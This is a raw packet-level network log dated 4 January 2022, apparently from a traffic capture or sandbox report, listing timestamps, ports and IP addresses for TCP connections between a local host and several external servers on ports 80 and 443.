Jan 4, 2022 19:33:56.829855919 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829885960 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829915047 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829945087 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829969883 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.829983950 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.830370903 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.830445051 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.830797911 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.830830097 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.831686974 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.834317923 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.834350109 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.834758997 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.857903004 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.857964993 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.858045101 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.858078003 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.858094931 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.858119965 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.858159065 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.858208895 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.858211994 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.858417034 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.858433008 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.858468056 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.858475924 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.888334036 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.888520002 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.888659954 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.893640995 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.893666029 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.893814087 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.893821955 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894098997 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894125938 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894227028 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894273043 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.894288063 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.894359112 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894427061 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894568920 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894587040 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894655943 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.894673109 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.894737959 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894891024 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894908905 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.894948006 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.895086050 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895194054 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895229101 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895396948 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895450115 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.895466089 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.895647049 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895704031 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.895706892 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895973921 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.895992041 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.896122932 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.896150112 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.896368027 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.900281906 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900305033 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900321007 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900336981 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900353909 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900369883 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900521040 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.900758028 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900778055 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900794029 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900810003 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900825977 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.900865078 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.900880098 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.901309967 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901336908 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901355028 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901371956 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901386976 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901437044 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.901568890 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.901796103 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901813984 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901829958 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901848078 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901864052 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.901891947 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.902213097 CET	49890	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.902363062 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.902383089 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.902439117 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.902455091 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.949506998 CET	49891	80	192.168.2.5	194.180.174.53
Jan 4, 2022 19:33:56.959182978 CET	80	49890	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.960202932 CET	49890	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.960328102 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.960386038 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.960395098 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.960427046 CET	49890	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.960499048 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.960561037 CET	49890	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.964353085 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964420080 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964442968 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964463949 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964487076 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964509010 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964513063 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.964535952 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.964607954 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.964751959 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.964775085 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966439009 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966468096 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966490984 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966517925 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966531038 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.966545105 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.966571093 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.966639996 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966659069 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966675997 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966692924 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966746092 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966747046 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.966753006 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.966763973 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966787100 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966831923 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966855049 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966876030 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.966900110 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.966906071 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.967262983 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.967293978 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:57.017424107 CET	80	49890	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.017863035 CET	80	49890	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.026341915 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:57.059403896 CET	80	49890	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.060364962 CET	49890	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.060551882 CET	49890	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.118261099 CET	80	49890	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.377863884 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.437798977 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.437908888 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.438106060 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.521238089 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521260023 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521272898 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521301031 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521312952 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521326065 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521341085 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521358013 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521369934 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521373987 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.521389961 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.521415949 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.521450043 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.582149029 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582179070 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582196951 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582214117 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582230091 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582246065 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582262039 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582278967 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582299948 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582319975 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.582323074 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582340956 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582359076 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582367897 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.582377911 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582397938 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.582398891 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582417965 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582433939 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582456112 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582470894 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582485914 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.582494020 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582515001 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.582523108 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.582578897 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644217968 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644258022 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644279957 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644298077 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644315004 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644330025 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644334078 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644345999 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644361019 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644362926 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644378901 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644395113 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644411087 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644418001 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644428015 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644443989 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644445896 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644459963 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644473076 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644481897 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644490004 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644500971 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644506931 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644522905 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644531965 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644539118 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644553900 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644571066 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644589901 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644597054 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644614935 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644640923 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644653082 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644665003 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644676924 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644697905 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644718885 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644738913 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644742012 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644763947 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644784927 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644787073 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644812107 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644840002 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644840956 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644886971 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.644917011 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644939899 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.644968033 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.645003080 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705575943 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705600977 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705617905 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705634117 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705651999 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705660105 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705673933 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705698967 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705717087 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705720901 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705744028 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705761909 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705765963 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705786943 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705790997 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705813885 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705837011 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705841064 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705859900 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705883980 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705889940 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705905914 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705929995 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705929995 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705955982 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.705979109 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.705980062 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706003904 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706027985 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706051111 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706051111 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706074953 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706095934 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706098080 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706120014 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706121922 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706146002 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706168890 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706172943 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706193924 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706212997 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706218958 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706243992 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706265926 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706267118 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706290960 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706315041 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706336975 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706338882 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706362963 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.706382036 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.706403971 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.736798048 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:57.736841917 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:57.736938000 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:57.766896963 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.766997099 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767019033 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767040014 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767054081 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767061949 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767083883 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767093897 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767106056 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767122984 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767128944 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767149925 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767172098 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767174006 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767193079 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767213106 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767232895 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767235994 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767256975 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767262936 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767277956 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767292976 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767301083 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767323017 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767344952 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767345905 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767365932 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767385960 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767401934 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767410040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767430067 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767432928 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767460108 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767472982 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767482042 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767507076 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767524004 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767530918 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767554045 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767565966 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767575979 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767601013 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767616034 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767623901 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767649889 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767673969 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767687082 CET	49892	80	192.168.2.5	89.223.65.17
